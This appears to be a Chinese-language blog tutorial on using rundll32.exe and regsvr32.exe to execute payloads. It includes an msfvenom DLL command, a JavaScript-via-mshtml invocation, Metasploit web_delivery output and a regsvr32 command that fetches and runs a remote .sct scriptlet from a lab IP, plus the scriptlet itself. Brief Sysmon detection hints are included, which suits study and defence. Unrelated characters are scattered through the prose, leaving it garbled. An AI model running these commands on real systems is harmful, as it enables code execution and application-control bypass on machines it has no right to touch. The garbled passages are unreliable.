rundll32
簡(jiǎn)介
DLL包含要在EXE格式文件中實(shí)現(xiàn)的庫(kù)函數(shù)缀蹄,其中許多函數(shù)包含構(gòu)成Windows操作系統(tǒng)基礎(chǔ)的函數(shù)志衍。通過(guò)利用從DLL中提取必要功能的功能來(lái)配置要在Windows上執(zhí)行的程序糟描。但是當(dāng)你想“從DLL中提取一部分函數(shù)并執(zhí)行它”時(shí),編寫(xiě)一個(gè)讀取和執(zhí)行DLL的程序很麻煩奖亚。這時(shí)候就需要rundll32.exe然眼。rundll32.exe是“用于檢索和執(zhí)行DLL中實(shí)現(xiàn)的功能的可執(zhí)行文件”,它是在Windows系統(tǒng)上標(biāo)準(zhǔn)實(shí)現(xiàn)的顶籽。通過(guò)以下格式執(zhí)行玩般,可以檢索并執(zhí)行目標(biāo)DLL中實(shí)現(xiàn)的功能。但是礼饱,rundll32.exe無(wú)法調(diào)用DLL中實(shí)現(xiàn)的所有函數(shù)坏为。
rundll32.exe [目標(biāo)DLL],[要執(zhí)行的函數(shù)名稱] [函數(shù)參數(shù)]
直接調(diào)用
生成載荷
msfvenom -p windows/exec CMD=calc.exe -a x86 --platform windows -f dll > calc.dll
目標(biāo)機(jī)上執(zhí)行 rundll32.exe C:\calc.dll, EntryPoint
經(jīng)由shell32.dll調(diào)用
目標(biāo)及上執(zhí)行
rundll32.exe shell32.dll,Control_RunDLL C:\calc.dll
經(jīng)由javascript調(diào)用
使用rundll32.exe 镊绪,可以通過(guò)mshtml.dll執(zhí)行JavaScript 匀伏。這是Internet Explorer的DLL之一。(又是依賴于WScript.Shell
)
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("calc.exe")
sysmon日志
可以注意父進(jìn)程中有rundll32.exe
的sysmon 1號(hào)事件
如果生成的是meterpreter的dll蝴韭,那么可以看到rundll32.exe
發(fā)起反彈連接够颠。
regsrv32
regsvr32 [/u] [/s] [/n] [/i[:cmdline]] dllname
其中dllname為activex控件文件名
/u
卸載已安裝的控件或DLL文件
/s
靜默,不顯示任何消息框
/n
指定不調(diào)用 DllRegisterServer榄鉴,此選項(xiàng)必須與 /i 共同使用
/i:cmdline
調(diào)用 DllInstall 將它傳遞到可選的 [cmdline]履磨,在與 /u 共同使用時(shí),它調(diào)用 dll 卸載
dllname
指定要注冊(cè)的 dll 文件名
卸載控件的操作不需要管理員權(quán)限庆尘,也不需要寫(xiě)入注冊(cè)表
use exploit/windows/misc/regsvr32_applocker_bypass_server
exploit(multi/script/web_delivery) > set SRVHOST 192.168.138.142
exploit(multi/script/web_delivery) > set target Regsvr32
msf5 exploit(multi/script/web_delivery) > run -j
[*] Exploit running as background job 2.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 192.168.138.142:4444
[*] Using URL: http://192.168.138.142:8080/eoUH3UyWl28
[*] Local IP: http://192.168.138.142:8080/eoUH3UyWl28
[*] Server started.
[*] Run the following command on the target machine:
regsvr32 /s /n /u /i:http://192.168.138.142:8080/eoUH3UyWl28.sct scrobj.dll
在目標(biāo)機(jī)上執(zhí)行regsvr32 /s /n /u /i:http://192.168.138.142:8080/eoUH3UyWl28.sct scrobj.dll
即可獲得會(huì)話(霧)剃诅,出現(xiàn)powershell報(bào)錯(cuò)提示
。
查看sct文件减余,還是利用WScript.Shell
組件來(lái)執(zhí)行命令综苔,比如用powershell
遠(yuǎn)程下載shellcode并加載到內(nèi)存中。
<?XML version="1.0"?>
<scriptlet>
<registration
progid="ShortJSRAT"
classid="{10001111-0000-0000-0000-0000FEEDACDC}" >
<!-- Learn from Casey Smith @subTee -->
<script language="JScript">
<![CDATA[
ps = "cmd.exe /c calc.exe";
new ActiveXObject("WScript.Shell").Run(ps,0,true);
]]>
</script>
</registration>
</scriptlet>
還有一種比較妥協(xié)的方法,js往磁盤(pán)上寫(xiě)入shellcode.dll文件如筛,然后再加載堡牡。參考地址
作為cs的一個(gè)功能腳本:https://github.com/atropineal/regsvr32
sysmon日志
同理,可以注意父進(jìn)程中有regsvr32.exe
的sysmon 1號(hào)事件杨刨。
參考:
https://binary-pulsar.hatenablog.jp/entry/2018/11/05/083000
https://3gstudent.github.io/3gstudent.github.io/%E5%85%B3%E4%BA%8E%E5%88%A9%E7%94%A8rundll32%E6%89%A7%E8%A1%8C%E7%A8%8B%E5%BA%8F%E7%9A%84%E5%88%86%E6%9E%90/